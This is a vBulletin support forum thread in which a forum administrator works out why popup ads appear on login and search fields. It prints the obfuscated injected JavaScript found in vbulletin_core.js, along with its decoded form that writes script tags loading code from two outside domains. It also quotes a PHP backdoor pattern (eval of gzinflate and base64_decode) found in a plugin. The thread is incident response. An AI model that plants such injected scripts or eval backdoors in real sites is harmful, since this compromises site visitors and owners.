Popup injection? (vB 4.2.2 Patch Level 4)

Collapse
This topic is closed.
X
X
 
  • Time
  • Show
Clear All
new posts
  • Ianno
    Member
    • Jun 2011
    • 63
    • 4.1.x

    [Forum] Popup injection? (vB 4.2.2 Patch Level 4)

    Hello!
    Since yesterday, whenever I try to login on my forums (when I click on the username field) I get a popup ad, which I did not insert myself. It happens not only to me, but to members as well.

    What's strange is that it appears even when I login in the admin panel, or when I try to edit the username of a member in the admin panel. It also appears when you click in the search field.

    I mention I didn't add any new plugin, also I tried disabling all hooks globally and it's still the same. I also removed all banner ads and it was still the same. I looked to see if there are new admin accounts, but it is just mine.

    Other than that, when clicking on the forum pages, no popup appears, just when you click in fields it does.
    I also checked the page source but I could find no weird ad code.

    Here is the page source of the admin login page (it showed 1 popup when I tried to login):
    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> [TABLE]
    [TR]
    [TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<head>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<title>Log in - Forums - vBulletin Admin Control Panel</title>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<link rel="stylesheet" type="text/css" href="../cpstyles/global.css?v=422"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<link rel="stylesheet" type="text/css" href="../cpstyles/vBulletin_3_Silver/controlpanel.css?v=422"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<style type="text/css">.page{background-color:white;color:black;}.time{color:silver;}.feature_management_header{font-size:16px;}#category_title_controls{padding-left:10px;font-weight:bold;font-size:14px;}.picker_overlay{background-color:white;color:black;font-size:14px;padding:3px;border:1px solid black;}.selected_marker{margin-right:4px;margin-top:4px;float:left;}.section_name{font-size:14px;font-weight:bold;padding:0.2em 1em;margin:0.5em 0.2em;background-color:white;}.tcat .picker_overlay a,.picker_overlay a,a.section_switch_link{color:blue;}.tcat .picker_overlay a:hover,.picker_overlay a:hover,a.section_switch_link:hover{color:red;}</style>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<!--[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var SESSIONHASH = "";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var ADMINHASH = "045bc1e9e281872e8bfad849f39d19c5";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var SECURITYTOKEN = "1491851501-375837caf47090c879bd5c64a4f1517ea8de8ab7";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var IMGDIR_MISC = "../cpstyles/vBulletin_3_Silver";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var CLEARGIFURL = "./clear.gif";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var AJAXBASEURL = "http://www.mysite.com/forums/acesadm/../";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var BBURL = "http://www.mysite.com/forums";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var PATHS = {[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]forum : "",[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]cms : "",[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]blog : ""[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]};[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]function set_cp_title()[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]if (typeof(parent.document) != 'undefined' && typeof(parent.document) != 'unknown' && typeof(parent.document.title) == 'string')[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]parent.document.title = (document.title != '' ? document.title : 'vBulletin');[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]//-->[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript" src="../clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js"></script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript" src="../clientscript/yui/connection/connection-min.js"></script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript" src="../clientscript/vbulletin-core.js"></script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript" src="../clientscript/vbulletin_ajax_suggest.js"></script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</head>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<body style="margin:0px" onload="set_cp_title(); document.forms.loginform.vb_login_password.focus()">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript" src="../clientscript/vbulletin_md5.js?v=422"></script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<!--[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]function js_show_options(objectid, clickedelm)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]fetch_object(objectid).style.display = "";[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]clickedelm.disabled = true;[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]function js_fetch_url_append(origbit,addbit)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]if (origbit.search(/\?/) != -1)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]return origbit + '&' + addbit;[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]else[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]return origbit + '?' + addbit;[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]function js_do_options(formobj)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]if (typeof(formobj.nojs) != "undefined" && formobj.nojs.checked == true)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]formobj.url.value = js_fetch_url_append(formobj.url.value, 'nojs=1');[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]return true;[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]//-->[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<form action="../login.php?do=login" method="post" name="loginform" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf); js_do_options(this)">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="hidden" name="url" value="/forums/acesadm/index.php"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="hidden" name="s" value="6583ed39a35588cc17041d37a590a7de"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="hidden" name="securitytoken" value="1491851501-375837caf47090c879bd5c64a4f1517ea8de8ab7"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="hidden" name="logintype" value="cplogin"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="hidden" name="do" value="login"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="hidden" name="vb_login_md5password" value=""/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="hidden" name="vb_login_md5password_utf" value=""/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<p>&nbsp;</p><p>&nbsp;</p>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<table class="tborder" cellpadding="0" cellspacing="0" border="0" width="450" align="center"><tr><td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<div class="tcat" style="padding:4px; text-align:center"><b>Log in</b></div>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<table cellpadding="4" cellspacing="0" border="0" width="100%" class="navbody">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tr valign="bottom">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td><img src="../cpstyles/vBulletin_3_Silver/cp_logo.gif" alt="" title="Powered by vBulletin&reg; Version 4.2.2 Copyright &copy; 2017 vBulletin Solutions, Inc. All rights reserved." border="0"/></td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<b><a href="http://www.mysite.com/forums/forum.php"> Forum</a></b><br/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]vBulletin 4.2.2 Admin Control Panel<br/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]&nbsp;[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</table>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<table cellpadding="4" cellspacing="0" border="0" width="100%" class="logincontrols">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<col width="50%" style="text-align:right; white-space:nowrap"></col>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<col></col>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<col width="50%"></col>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tbody>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>User Name</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td><input type="text" style="padding-left:5px; font-weight:bold; width:250px" name="vb_login_username" value="Key" accesskey="u" tabindex="1" id="vb_login_username"/></td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>&nbsp;</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>Password</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td><input type="password" style="padding-left:5px; font-weight:bold; width:250px" name="vb_login_password" accesskey="p" tabindex="2" id="vb_login_password"/></td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>&nbsp;</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tr style="display: none" id="cap_lock_alert">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>&nbsp;</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td class="tborder"><strong>Caps Lock is on!</strong><br/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<br/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]Having Caps Lock on may cause you to enter your password incorrectly. You should press Caps Lock to turn it off before entering your password.</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>&nbsp;</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tbody>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tbody id="loginoptions" style="display:none">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>Style</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td><select name="cssprefs" class="login" style="padding-left:5px; font-weight:normal; width:250px" tabindex="5"> <option value="vBulletin_2_Default">vBulletin 2 Default</option>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<option value="vBulletin_3_Default">vBulletin 3 Default</option>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<option value="vBulletin_3_Frontend">vBulletin 3 Frontend</option>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<option value="vBulletin_3_Manual">vBulletin 3 Manual</option>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<option value="" selected="selected">vBulletin 3 Silver</option>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</select></td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>&nbsp;</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>Options</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<label><input type="checkbox" name="nojs" value="1" tabindex="6"/> Save open navigation groups automatically</label>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td class="login">&nbsp;</td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tbody>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tbody>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<td colspan="3" align="center">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="submit" class="button" value=" Log in " accesskey="s" tabindex="3"/>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<input type="button" class="button" value=" Options " accesskey="o" onclick="js_show_options('loginoptions', this)" tabindex="4"/> </td>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tr>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</tbody>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</table>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</td></tr></table>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</form>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<script type="text/javascript">[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]<!--[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]function caps_check(e)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var detected_on = detect_caps_lock(e);[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]var alert_box = fetch_object('cap_lock_alert');[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]if (alert_box.style.display == '')[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]// box showing already, hide if caps lock turns off[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]if (!detected_on)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]alert_box.style.display = 'none';[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]else[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]if (detected_on)[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]{[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]alert_box.style.display = '';[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]}[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]fetch_object('vb_login_password').onkeypress = caps_check;[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]//-->[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</script>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD] [/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</body>[/TD]
     		[/TR]
    [TR]
    [TD] [/TD]
     			[TD]</html>[/TD]
     		[/TR]
    [/TABLE]

    Could the malicious code be inserted in some file that deals with fields? I don't know where to search for it.


    EDIT: I noticed that vbulletin-core.js was modified exactly in the day since when the issue appeared. I uploaded an old version of it (since 2015, when the issue wasn't occurring) but the issue is still the same. However, now, at times, the popup appears if the click is made anywhere on the page, not just in the username or search field.
  • Wayne Luke
    vBulletin Technical Support Lead
    • Aug 2000
    • 73976

    #2
    Hello,

    Please upgrade to vBulletin 4.2.4. Does the problem still exist?

    If it does then follow the steps in https://www.vbulletin.com/forum/foru...ring-your-site
    Translations provided by Google.

    Wayne Luke
    The Rabid Badger - a vBulletin Cloud demonstration site.
    vBulletin 5 API

    Comment

    • Mattwhf
      Senior Member
      • May 2016
      • 124
      • 4.2.x

      #3
      @Ianno

      It could exsite in a .js file or a PHP file is control these so you will not see weird codes when viewing page source

      Even ways that Wayne Luke suggested will not solve the problem.

      To solve this you need to make a fresh of files and folder from vB and check on additional files that you added before, checking on your mysql db too.

      Malware codes could insert into your site/db and they are encrypted so you must find them out to fix the problem completely.

      Hope that helps!

      Web Hosting Forum - Learn web hosting and offering your web hosting plans for free!
      Tranh phong cảnh, tranh nghệ thuật đẹp, bếp từ nhập khẩu chất lượng cao!

      Comment

      • BirdOPrey5
        Senior Member
        • Jul 2008
        • 9613
        • 5.6.3

        #4
        4.2.2 Patch Level 4 is 2 patches behind the latest 4.2.2 version (Patch Level 6) so your site was certainly able to be compromised.

        You're going to want to follow these blogs for a full cleanup and then to further secure your site, since there is likely one or more backdoors left by hackers on your site-

        This guide is for what to do, after you’ve been hacked, exploited, and or defaced. Step 1, Change everything: If you believe, or think your site has


        Getting Started This guide is intended to be a starting point for helping to keep your site safe and secure in the long run. It is not a be-all, end-all guide


        Comment

        • Ianno
          Member
          • Jun 2011
          • 63
          • 4.1.x

          #5
          Hello and thanks for the responses!
          I saw when the issue occurred 4 days ago that vbulletin_core was modified. I upgraded the vbulletin version to 4.2.4 (from 4.2.2) and removed vBSEO (as yeah, it's unsupported and vulnerable but since my url structure was heavily customized, I kept avoiding that change).

          The forums worked good for 2 days. Today the popups started appearing again. I ran Diagnostics and found that the only suspect and modified file was vbulletin_core.js again. I checked the file and noticed this code was added at the end of the file:
          var _0xe62f=["\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\ x76\ x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6F\x65\x69\x31\x2E\x67\x7 1\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65","\x3C\x73\x63\x72\x6 9\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\ x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6D\x66\x69\x6F\x2E\x63\x66\x22\x3E\x3C\x2F\x7 3\x63\x72\x69\x70\x74\x3E"];document[_0xe62f[1]](_0xe62f[0]);document[_0xe62f[1]](_0xe62f[2])

          The decrypted code looks like this:
          var _0xe62f=["<script type="text/javascript" src="//oei1.gq"></script>","write","<script type="text/javascript" src="//mfio.cf"></script>"];document[_0xe62f[1]](_0xe62f[0]);document[_0xe62f[1]](_0xe62f[2])

          I uploaded a fresh copy of vbulletin_core.js but the popups are still there even with the clean vbulletin_core.js. What should I do? It seems the hacker gets again and again in the vbulletin_core.js, no other administrator was created, the install folder is deleted, I also deleted files I didn't know, my admin and mod folders in vbulletin are renamed. Is it some exploit? How can I possibly prevent them to get access to that file?
          Last edited by Ianno; Thu 13 Apr '17, 5:35pm.

          Comment

          • Wayne Luke
            vBulletin Technical Support Lead
            • Aug 2000
            • 73976

            #6
            Are there any non-vbulletin files on your server? home.php or something like that?
            Translations provided by Google.

            Wayne Luke
            The Rabid Badger - a vBulletin Cloud demonstration site.
            vBulletin 5 API

            Comment

            • Ianno
              Member
              • Jun 2011
              • 63
              • 4.1.x

              #7
              No, there is no home.php or anything like that. What should I do, should I resend all the vbulletin files that I sent 2 days ago? Even if I sent the fresh copy of the modified file (vbulletin_core.js), the popups are still there, so I suppose the hacker sneaked the code somewhere else too, I just can't find where.

              I also looked in themes, but I find nothing suspicious. Plus the popups appear on the Default theme as well and even on a freshly installed theme.

              The only theme where popups don't show up is the Mobile theme (the vBulletin one).

              Comment

              • Wayne Luke
                vBulletin Technical Support Lead
                • Aug 2000
                • 73976

                #8
                If they are editing your files then your server is vulnerable somehow. Either you didn't follow all the steps I listed in the topic above, you have bad plugins installed, your passwords are compromised or your server is compromised.
                Translations provided by Google.

                Wayne Luke
                The Rabid Badger - a vBulletin Cloud demonstration site.
                vBulletin 5 API

                Comment

                • BirdOPrey5
                  Senior Member
                  • Jul 2008
                  • 9613
                  • 5.6.3

                  #9
                  you cleared the cache of your browser after fixing the .js file? javascript files would normally be cached by the browser and not be redownloaded unless the cache was cleared, F5 was held down while refreshing the page, or the version number of VB changed.

                  Comment

                  • Ianno
                    Member
                    • Jun 2011
                    • 63
                    • 4.1.x

                    #10
                    Yes, I cleared the cache and tried on different browsers too, both me and my members. I changed all my passwords, for server, SSH/SFTP, for vBulletin itself. I re-uploaded all the vBulletin files again and the error was gone again for 3 days, but today the popups are back, and this time /clientscript/vbulletin_md5.js was modified, with that same code added at the end of it, but what is weird is that in SFTP client it didn't even show me the file was modified, but vBulletin did in the Suspect file version.

                    I noticed that the whole /clientscript/ folder is writtable (CHMOD 777). Is that the default permission? If not, which should it be?

                    Comment

                    • Wayne Luke
                      vBulletin Technical Support Lead
                      • Aug 2000
                      • 73976

                      #11
                      It shouldn't be chmod 777. It should be at most 755 and the individual files should be 0644. However you have to ask your hosting provider if those work properly.

                      Seems you still have extra files or the server is compromised from elsewhere.
                      Last edited by Wayne Luke; Tue 18 Apr '17, 5:40pm.
                      Translations provided by Google.

                      Wayne Luke
                      The Rabid Badger - a vBulletin Cloud demonstration site.
                      vBulletin 5 API

                      Comment

                      • TheBhoyPrime
                        New Member
                        • Jan 2012
                        • 2
                        • 4.1.x

                        #12
                        I'm getting the exact same thing since Friday.

                        I was on 4.2.3, and user complained about this issue, Basically a popup on your first click on the page.

                        I upgraded to 4.2.4 and the issue went away.

                        However it came back today, after finding this thread, I ran the Suspect file version checker and in my case
                        "yuiloader-dom-event.js" showed as having extra data, my file explorer still showed the file modified date as the when I uploaded it on Friday however.

                        I reuploaded that file (0644 BTW) and it was about.5k smaller)

                        Cleared the cache on the browsers and it seems to have done the trick, but there does appear to be an issue I've found mentioned here and on at least one other board during my basic searching about the issue, all in the past month or so.

                        Comment

                        • Wayne Luke
                          vBulletin Technical Support Lead
                          • Aug 2000
                          • 73976

                          #13
                          If you have an exploit already installed within your directory and uploaded by your web user, then 0644 won't prevent them from writing to the server. This is why it is important that you manually review every directory of your site for unknown files. They are usually filled with base64 code. We don't use base64 in vBulletin 4. If you have any plugins or addons that use Base64, then you should ditch them as you won't be able to tell what they do easily.

                          For YUI, you can tell the system to load it from a CDN like Google in the Settings under Server Settings and Optimization Options.
                          Translations provided by Google.

                          Wayne Luke
                          The Rabid Badger - a vBulletin Cloud demonstration site.
                          vBulletin 5 API

                          Comment

                          • Ianno
                            Member
                            • Jun 2011
                            • 63
                            • 4.1.x

                            #14
                            We managed to find a backdoor in init_startup plugin in vBulletin:

                            if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) {

                            eval(gzinflate(base64_decode('REMOVED')));

                            exit;
                            }



                            Is it safe to remove all that code and leave just this?
                            if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) {
                            exit;
                            }

                            I also attach the print screen.
                            Attached Files
                            Last edited by Trevor Hannant; Tue 25 Apr '17, 1:59am. Reason: Base64 code removed

                            Comment

                            • Trevor Hannant
                              vBulletin Support
                              • Aug 2002
                              • 24325
                              • 5.7.X

                              #15
                              Delete that plugin...
                              Vote for:

                              - Admin Settable Paid Subscription Reminder Timeframe (vB6)
                              - Add Admin ability to auto-subscribe users to specific channel(s) (vB6)

                              Comment

                              Related Topics

                              Collapse

                              Working...